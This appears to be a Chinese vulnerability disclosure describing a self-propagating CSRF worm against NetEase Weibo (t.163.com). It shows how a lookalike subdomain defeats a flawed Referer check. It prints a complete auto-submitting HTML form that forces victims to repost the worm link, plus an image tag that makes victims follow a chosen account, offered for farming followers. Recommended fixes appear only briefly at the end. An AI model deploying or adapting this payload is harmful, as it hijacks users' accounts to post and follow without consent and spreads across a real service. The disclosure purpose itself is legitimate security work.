1.既然是CSRF蠕虫,肯定是发微博的地方出了问题!接口在这里:
Host: t.163.com
Proxy-Connection: keep-alive
Origin: http://t.163.com
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Cookie: 略
status=%E6%AC%A7%E8%81%94%E5%B0%8F%E7%BB%84%E6%9C%AB%E8%BD%AE%E6%AC%A1%E6%97%A5%E7%BB%BC%E8%BF%B0%3A32%E5%BC%BA%E4%BA%A7%E7%94%9F+%E7%83%AD%E5%88%BA%E5%A4%A7%E8%83%9C%E5%87%BA%E5%B1%80http%3A%2F%2Fsports.163.com%2F11%2F1216%2F06%2F7LCJG29T00051F6Q.html&in_reply_to_status_id=&source=%E7%BD%91%E6%98%93%E4%BD%93%E8%82%B2&link=http%3A%2F%2Fsports.163.com%2F11%2F1216%2F06%2F7LCJG29T00051F6Q.html&imageUrl=&method=click&keyfrom=share163.share
2.上述链接即为发微博的另一个接口(实际上应该是转发微博),简单说下参数,status参数即为发布的微博内容,这里是必填项,我可以把csrf蠕虫的载体做为链接发在这里,欺骗用户点击!参数in_reply_to_status_id默认不填,source选填项,表示微博从哪里转发过来的,link不知,不填也木关系,method和keyfrom默认即可!
3.这里实际上是做referer判断的,即referer必须为163.com或者空,其他域不行。这意味着我是不是只能本地单机玩了啊!哈哈,经过长时间的测试,发现验证referer的正则表达式写的有问题!只是判断了域名是否包含有163.com,而不是验证根域名为163.com。那么我这里可以构造子域名t.163.com.test.av作为蠕虫传播的载体服务器,即可绕过。
漏洞 证明:4.非常感谢@xsjswt提供的子域名,我的POC在下面这个链接:
http://t.163.com.xsjswt.3322.org/admin/sessiondata/csrf. html
一并将代码拷贝如下:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<form id="fxx" name="fxx" action="http://t.163.com/share/retweet" method="POST">
<input type="text" name="status" value="缘深缘浅,路长路短,看见就好...http://t.163.com.xsjswt.3322.org/admin/sessiondata/csrf.html" />
<input type="text" name="in_reply_to_status_id" value="" />
<input type="text" name="source" value="风萧萧兮易水寒" />
<input type="text" name="link" value="http://t.163.com.xsjswt.3322.org/admin/sessiondata/csrf.html" />
<input type="text" name="imageUrl" value="" />
<input type="text" name="method" value="click" />
<input type="text" name="keyfrom" value="share163.share" />
<input type="submit" value="submit" />
</form>
<script>
document.fxx.submit();
</script>
</body>
</html>
5.Chrome登录风萧萧吸的微博账号发布微博如下:
6.Firefox登录另一个网易微博账号:
7.受害者点击上述短链接,服务器访问如下:
8.再查看主页面,发布了一条同样的微博哦:
修复方案: 1.其实中间遇到了不少问题,referer为空可以绕过防御,所以方便了本地测试。但是原数据包纹风不动的提交可以正常发布微博的,但是放在POC里,本地提交总是返回【var updatestatus = 400】。后来才知道是编码的问题,服务器端只认UTF-8。
2.既然referer域名可以改成t.163.com.test.av是可以的,那么改成test.av/csrf.php?163.com呢,是不是可以呢?这个以后大家当做小的细节来考虑吧!
3.既然上面的蠕虫已经实现,刷粉丝就可以更容易了,在POC里加如下代码可点击即关注:
<img src=http://t.163.com/share/follow?followfrom=op.wz.gfo&keyfrom=op.wz.gfo&sitechannel=no&method=follow&screenName=【微博ID】/>
4.在防御方面,强烈建议:
关键请求还是改成post比较好!
关键请求还是加token比较好!
查看更多关于我是如何绕过网易防御、利用CSRF蠕虫继续刷粉丝的详细内容...